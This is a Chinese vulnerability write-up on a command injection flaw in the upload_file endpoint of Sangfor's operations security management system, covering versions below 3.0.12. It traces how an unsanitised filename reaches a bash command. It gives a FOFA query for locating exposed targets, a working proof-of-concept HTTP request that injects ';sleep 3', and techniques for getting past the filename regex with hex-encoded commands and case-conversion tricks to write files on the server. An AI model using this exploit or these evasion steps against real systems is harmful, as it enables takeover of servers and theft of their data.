漏洞简介
深信服运维安全管理系统 upload_file 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。
影响版本
低于 3.0.12 20241106
fofa语法
body="/fort/login" && header="FORTSESSIONID"
漏洞分析
看下 com.sbr.fort.foreignSXF.newSXF.NewUpgradeSXFController#uploadPatchFile的实现逻辑

文件上传的文件名部分fileName 会被带入 CheckUpFile 方法中,只有此方法返回 success 才会进入下面的处理逻辑,看下 CheckUpFile 方法的实现逻辑

存在多个正则校验文件名是否合法
- 如果包含
Build:^([O]{1}[S]{1}[M]{1}[v]{1}[3]{1}[.]{1}[0]{1}[.]{1}[0-9]{1,3}[_]([0-9]{3}[1-9]|[0-9]{2}[1-9][0-9]{1}|[0-9]{1}[1-9][0-9]{2}|[1-9][0-9]{3})(((0[13578]|1[02])(0[1-9]|[12][0-9]|3[01]))|((0[469]|11)(0[1-9]|[12][0-9]|30))|(02(0[1-9]|[1][0-9]|2[0-8])))[_]{1}[B]{1}[u]{1}[i]{1}[l]{1}[d]{1}[v]{1}[3]{1}[.]{1}[0]{1}[.]{1}[0-9]{1,3})$ - 如果不包含
C但是包含R:^([O]{1}[S]{1}[M]{1}[v]{1}[3]{1}[.]{1}[0]{1}[.]{1}[0-9]{1,3}[_]{1}[R]{1}[0-9]{1,3}[_]{1}([0-9]{3}[1-9]|[0-9]{2}[1-9][0-9]{1}|[0-9]{1}[1-9][0-9]{2}|[1-9][0-9]{3})(((0[13578]|1[02])(0[1-9]|[12][0-9]|3[01]))|((0[469]|11)(0[1-9]|[12][0-9]|30))|(02(0[1-9]|[1][0-9]|2[0-8]))))$ - 如果包含
C但是不包含R:^([O]{1}[S]{1}[M]{1}[v]{1}[3]{1}[.]{1}[0]{1}[.]{1}[0-9]{1,3}[_]{1}[C]{1}[_]{1}[0-9a-zA-Z]{1,9}[_]{1}([0-9]{3}[1-9]|[0-9]{2}[1-9][0-9]{1}|[0-9]{1}[1-9][0-9]{2}|[1-9][0-9]{3})(((0[13578]|1[02])(0[1-9]|[12][0-9]|3[01]))|((0[469]|11)(0[1-9]|[12][0-9]|30))|(02(0[1-9]|[1][0-9]|2[0-8]))))$ - 如果同时包含
C和R:^([O]{1}[S]{1}[M]{1}[v]{1}[3]{1}[.]{1}[0]{1}[.]{1}[0-9]{1,3}[_]{1}[C]{1}[_]{1}[0-9a-zA-Z]{1,9}[_][R]{1}[0-9]{1,3}[_]{1}([0-9]{3}[1-9]|[0-9]{2}[1-9][0-9]{1}|[0-9]{1}[1-9][0-9]{2}|[1-9][0-9]{3})(((0[13578]|1[02])(0[1-9]|[12][0-9]|3[01]))|((0[469]|11)(0[1-9]|[12][0-9]|30))|(02(0[1-9]|[1][0-9]|2[0-8]))))$ - 如果包含
Universal:^([U]{1}[n]{1}[i]{1}[v]{1}[e]{1}[r]{1}[s]{1}[a]{1}[l]{1}[_]{1}[O]{1}[S]{1}[M]{1}[v]{1}[3]{1}[.]{1}[0]{1}[_]{1}([0-9]{3}[1-9]|[0-9]{2}[1-9][0-9]{1}|[0-9]{1}[1-9][0-9]{2}|[1-9][0-9]{3})(((0[13578]|1[02])(0[1-9]|[12][0-9]|3[01]))|((0[469]|11)(0[1-9]|[12][0-9]|30))|(02(0[1-9]|[1][0-9]|2[0-8]))))$
等等判断,且每个小的处理逻辑里还有更细致的判断,复杂度不小,直接丢给AI,鞭打它分析,这里以处理流程图来辅助分析,便于理解

从上图看,最简单的最容易进行命令注入的就是最后一种情况,包含Universal格式的文件名,比如filename="Universal_OSMv3.0_12340101;sleep 3" 即可通过校验,返回 success 后,进入 uploadPatchFile 方法余下处理逻辑,经过一系列的判断,处理流程如下图所示

最终会进入如下判断处理处

可以看到 fileName 最终拼接在了 String cmd = "bash /usr/local/bin/sh/node_patch_management.sh check " + fileName; 后,调用 ShellExecutor 类的 exe 方法进行命令执行,从而造成命令注入漏洞。
漏洞复现

POC
POST /fort/cssp;help/v1/app/upload_file HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="Universal_OSMv3.0_12340101;sleep 3"
123
------WebKitFormBoundary--

成功延时 3 秒
如果为了写入文件,避免因常见base64编码后的命令中存在大写字母 C 或者 R 导致不能通过正则校验,可以采用 hex 编码需要执行的命令,然后再用 xxd -r -p 进行解码执行,比如
执行 echo 123 | tee /usr/local/tomcat/webapps/fort/trust/version/T1.txt 这条命令,可以将其编码成 hex 格式: 6563686f20313233207c20746565202f7573722f6c6f63616c2f746f6d6361742f776562617070732f666f72742f74727573742f76657273696f6e2f54312e747874

查看命令执行结果文件

如果目标出网,就比较简单了,就不赘述了。
如果确实需要使用base64编码内容写入,可以使用分段追加写入一个文件,然后遇到大写字母 C 或者 R 时,使用如下 echo -n c | tr '[:lower:]' '[:upper:]' 和 echo -n R | tr '[:lower:]' '[:upper:]' 命令来转换大小写后追加写入。


